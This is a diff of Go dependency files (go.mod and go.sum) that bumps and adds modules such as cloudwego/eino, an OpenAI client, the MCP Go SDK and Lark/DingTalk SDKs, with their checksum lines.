github.com/bmatcuk/doublestar/v4 v4.10.0 // indirect
github.com/buger/jsonparser v1.1.1 // indirect
github.com/bytedance/gopkg v0.1.3 // indirect
github.com/bytedance/sonic/loader v0.5.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.14 // indirect
github.com/dlclark/regexp2 v1.10.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/evanphx/json-patch v0.5.2 // indirect
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
github.com/gin-contrib/sse v0.1.0 // indirect
github.com/go-playground/locales v0.14.1 // indirect
@@ -31,23 +45,33 @@ require (
github.com/goccy/go-json v0.10.2 // indirect
github.com/gogo/protobuf v1.3.2 // indirect
github.com/google/jsonschema-go v0.3.0 // indirect
github.com/goph/emperror v0.17.2 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/cpuid/v2 v2.2.4 // indirect
github.com/klauspost/cpuid/v2 v2.2.9 // indirect
github.com/leodido/go-urn v1.2.4 // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect
github.com/meguminnnnnnnnn/go-openai v0.1.1 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pelletier/go-toml/v2 v2.0.8 // indirect
github.com/nikolalohinski/gonja v1.5.3 // indirect
github.com/pelletier/go-toml/v2 v2.0.9 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/sirupsen/logrus v1.9.3 // indirect
github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f // indirect
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
github.com/ugorji/go/codec v1.2.11 // indirect
github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect
github.com/yargevad/filepathx v1.0.0 // indirect
github.com/yosida95/uritemplate/v3 v3.0.2 // indirect
go.uber.org/multierr v1.11.0 // indirect
golang.org/x/arch v0.3.0 // indirect
golang.org/x/crypto v0.14.0 // indirect
golang.org/x/net v0.17.0 // indirect
golang.org/x/arch v0.11.0 // indirect
golang.org/x/crypto v0.31.0 // indirect
golang.org/x/exp v0.0.0-20230713183714-613f0c0eb8a1 // indirect
golang.org/x/net v0.24.0 // indirect
golang.org/x/oauth2 v0.30.0 // indirect
golang.org/x/sys v0.13.0 // indirect
golang.org/x/text v0.13.0 // indirect
golang.org/x/sys v0.28.0 // indirect
golang.org/x/text v0.21.0 // indirect
google.golang.org/protobuf v1.30.0 // indirect
)
+129 -30
View File
@@ -1,9 +1,31 @@
github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM=
github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s=
github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U=
github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY=
github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams=
github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk=
github.com/airbrake/gobrake v3.6.1+incompatible/go.mod h1:wM4gu3Cn0W0K7GUuVWnlXZU11AGBXMILnrdOU8Kn00o=
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
github.com/bmatcuk/doublestar/v4 v4.10.0 h1:zU9WiOla1YA122oLM6i4EXvGW62DvKZVxIe6TYWexEs=
github.com/bmatcuk/doublestar/v4 v4.10.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=
github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
github.com/bugsnag/bugsnag-go v1.4.0/go.mod h1:2oa8nejYd4cQ/b0hMIopN0lCRxU0bueqREvZLWFrtK8=
github.com/bugsnag/panicwrap v1.2.0/go.mod h1:D/8v3kj0zr8ZAKg1AQ6crr+5VwKN5eIywRkfhyM/+dE=
github.com/bytedance/gopkg v0.1.3 h1:TPBSwH8RsouGCBcMBktLt1AymVo2TVsBVCY4b6TnZ/M=
github.com/bytedance/gopkg v0.1.3/go.mod h1:576VvJ+eJgyCzdjS+c4+77QF3p7ubbtiKARP3TxducM=
github.com/bytedance/mockey v1.3.0 h1:ONLRdvhqmCfr9rTasUB8ZKCfvbdD2tohOg4u+4Q/ed0=
github.com/bytedance/mockey v1.3.0/go.mod h1:1BPHF9sol5R1ud/+0VEHGQq/+i2lN+GTsr3O2Q9IENY=
github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uSE=
github.com/bytedance/sonic v1.15.0/go.mod h1:tFkWrPz0/CUCLEF4ri4UkHekCIcdnkqXw9VduqpJh0k=
github.com/bytedance/sonic/loader v0.5.0 h1:gXH3KVnatgY7loH5/TkeVyXPfESoqSBSBEiDd5VjlgE=
github.com/bytedance/sonic/loader v0.5.0/go.mod h1:AR4NYCk5DdzZizZ5djGqQ92eEhCCcdf5x77udYiSJRo=
github.com/certifi/gocertifi v0.0.0-20190105021004-abcd57078448/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4=
github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M=
github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU=
github.com/cloudwego/eino v0.8.4 h1:aFKJK82MmPR6dm5y5J7IXivYSvh4HkcXwf18j6vyhmk=
github.com/cloudwego/eino v0.8.4/go.mod h1:+2N4nsMPxA6kGBHpH+75JuTfEcGprAMTdsZESrShKpU=
github.com/cloudwego/eino-ext/components/model/openai v0.1.10 h1:zVkU4rZUUUUAPEXOGs98n8nsT/NZvQ9zWY0B9h2US7k=
github.com/cloudwego/eino-ext/components/model/openai v0.1.10/go.mod h1:smEeTKXe8uz+HDUBQn0yZhpx7mmOUKFQyguLfjAQ57I=
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.14 h1:yOZII6VYaL00CVZYba+HUixFygsW0Xz/1QjQ5htj1Ls=
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.14/go.mod h1:1xMQZ8eE11pkEoTAEy8UlaAY817qGVMvjpDPGSIO3Ns=
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -11,12 +33,22 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0=
github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/eino-contrib/jsonschema v1.0.3 h1:2Kfsm1xlMV0ssY2nuxshS4AwbLFuqmPmzIjLVJ1Fsp0=
github.com/eino-contrib/jsonschema v1.0.3/go.mod h1:cpnX4SyKjWjGC7iN2EbhxaTdLqGjCi0e9DxpLYxddD4=
github.com/evanphx/json-patch v0.5.2 h1:xVCHIVMUu1wtM/VkR9jVZ45N3FhZfYMMYGorLCR8P3k=
github.com/evanphx/json-patch v0.5.2/go.mod h1:ZWS5hhDbVDyob71nXKNL0+PWn6ToqBHMikGIFbs31qQ=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg=
github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU=
github.com/go-check/check v0.0.0-20180628173108-788fd7840127 h1:0gkP6mzaMqkmpcJYCFOLkIBwI7xFExG03bbkOkCvUPI=
github.com/go-check/check v0.0.0-20180628173108-788fd7840127/go.mod h1:9ES+weclKsC9YodN5RgxqK/VD9HM9JsCSh7rNhMZE98=
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
@@ -27,10 +59,12 @@ github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg
github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU=
github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU=
github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I=
github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
@@ -38,25 +72,49 @@ github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/jsonschema-go v0.3.0 h1:6AH2TxVNtk3IlvkkhjrtbUc4S8AvO0Xii0DxIygDg+Q=
github.com/google/jsonschema-go v0.3.0/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE=
github.com/google/uuid v1.5.0 h1:1p67kYwdtXjb0gL0BPiP1Av9wiZPo5A8z2cWkTZ+eyU=
github.com/google/uuid v1.5.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/goph/emperror v0.17.2 h1:yLapQcmEsO0ipe9p5TaN22djm3OFV/TfM/fcYP0/J18=
github.com/goph/emperror v0.17.2/go.mod h1:+ZbQ+fUNO/6FNiUo0ujtMjhgad9Xa6fQL9KhH4LNHic=
github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g=
github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k=
github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc=
github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/kardianos/osext v0.0.0-20190222173326-2bc1f35cddc0/go.mod h1:1NbS8ALrpOvjt0rHPNLyCIeMtbizbir8U//inJ+zuB8=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk=
github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
github.com/klauspost/cpuid/v2 v2.2.9 h1:66ze0taIn2H33fBvCkXuv9BmCwDfafmiIVpKV9kKGuY=
github.com/klauspost/cpuid/v2 v2.2.9/go.mod h1:rqkxqrZ1EhYM9G+hXH7YdowN5R5RGN6NK4QwQ3WMXF8=
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/larksuite/oapi-sdk-go/v3 v3.4.22 h1:57daKuslQPX9X3hC2idc5bu8bl2krfsBGWGJ6b5FlD8=
github.com/larksuite/oapi-sdk-go/v3 v3.4.22/go.mod h1:ZEplY+kwuIrj/nqw5uSCINNATcH3KdxSN7y+UxYY5fI=
github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q=
github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
github.com/meguminnnnnnnnn/go-openai v0.1.1 h1:u/IMMgrj/d617Dh/8BKAwlcstD74ynOJzCtVl+y8xAs=
github.com/meguminnnnnnnnn/go-openai v0.1.1/go.mod h1:qs96ysDmxhE4BZoU45I43zcyfnaYxU3X+aRzLko/htY=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/modelcontextprotocol/go-sdk v1.2.0 h1:Y23co09300CEk8iZ/tMxIX1dVmKZkzoSBZOpJwUnc/s=
github.com/modelcontextprotocol/go-sdk v1.2.0/go.mod h1:6fM3LCm3yV7pAs8isnKLn07oKtB0MP9LHd3DfAcKw10=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
@@ -64,71 +122,109 @@ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ=
github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4=
github.com/nikolalohinski/gonja v1.5.3 h1:GsA+EEaZDZPGJ8JtpeGN78jidhOlxeJROpqMT9fTj9c=
github.com/nikolalohinski/gonja v1.5.3/go.mod h1:RmjwxNiXAEqcq1HeK5SSMmqFJvKOfTfXhkJv6YBtPa4=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0=
github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc=
github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkoukk/tiktoken-go v0.1.8 h1:85ENo+3FpWgAACBaEUVp+lctuTcYUO7BtmfhlN/QTRo=
github.com/pkoukk/tiktoken-go v0.1.8/go.mod h1:9NiV+i9mJKGj1rYOT+njbv+ZwA/zJxYdewGl6qVatpg=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/rollbar/rollbar-go v1.0.2/go.mod h1:AcFs5f0I+c71bpHlXNNDbOWJiKwjFDtISeXco0L5PKQ=
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f h1:Z2cODYsUxQPofhpYRMQVwWz4yUVpHF+vPi+eUdruUYI=
github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f/go.mod h1:JqzWyvTuI2X4+9wOHmKSQCYxybB/8j6Ko43qVmXDuZg=
github.com/smarty/assertions v1.15.0 h1:cR//PqUBUiQRakZWqBiFFQ9wb8emQGDb0HeGdqGByCY=
github.com/smarty/assertions v1.15.0/go.mod h1:yABtdzeQs6l1brC900WlRNwj6ZR55d7B+E8C6HtKdec=
github.com/smartystreets/goconvey v1.8.1 h1:qGjIddxOk4grTu9JPOU31tVfq3cNdBlNa5sSznIX1xY=
github.com/smartystreets/goconvey v1.8.1/go.mod h1:+/u4qLyY6x1jReYOp7GOM2FSt8aP9CzCZL03bI28W60=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY=
github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU=
github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
github.com/uouuou/dingtalk-stream-sdk-go v0.0.0-20250626025113-079132acc406 h1:b72HNsEnmTRn7vhWGOfbWHAkA5RbRCk0Pbc56V2WAuY=
github.com/uouuou/dingtalk-stream-sdk-go v0.0.0-20250626025113-079132acc406/go.mod h1:ln3IqPYYocZbYvl9TAOrG/cxGR9xcn4pnZRLdCTEGEU=
github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc=
github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw=
github.com/x-cray/logrus-prefixed-formatter v0.5.2 h1:00txxvfBM9muc0jiLIEAkAcIMJzfthRT6usrui8uGmg=
github.com/x-cray/logrus-prefixed-formatter v0.5.2/go.mod h1:2duySbKsL6M18s5GU7VPsoEPHyzalCE06qoARUCeBBE=
github.com/yargevad/filepathx v1.0.0 h1:SYcT+N3tYGi+NvazubCNlvgIPbzAk7i7y2dwg3I5FYc=
github.com/yargevad/filepathx v1.0.0/go.mod h1:BprfX/gpYNJHJfc35GjRRpVcwWXS89gGulUIU5tK3tA=
github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4=
github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
go.uber.org/goleak v1.2.0 h1:xqgm/S+aQvhWFTtR0XK3Jvg7z8kGV8P4X14IzwN3Eqk=
go.uber.org/goleak v1.2.0/go.mod h1:XJYK+MuIchqpmGmUSAzotztawfKvYLUIgg7guXrwVUo=
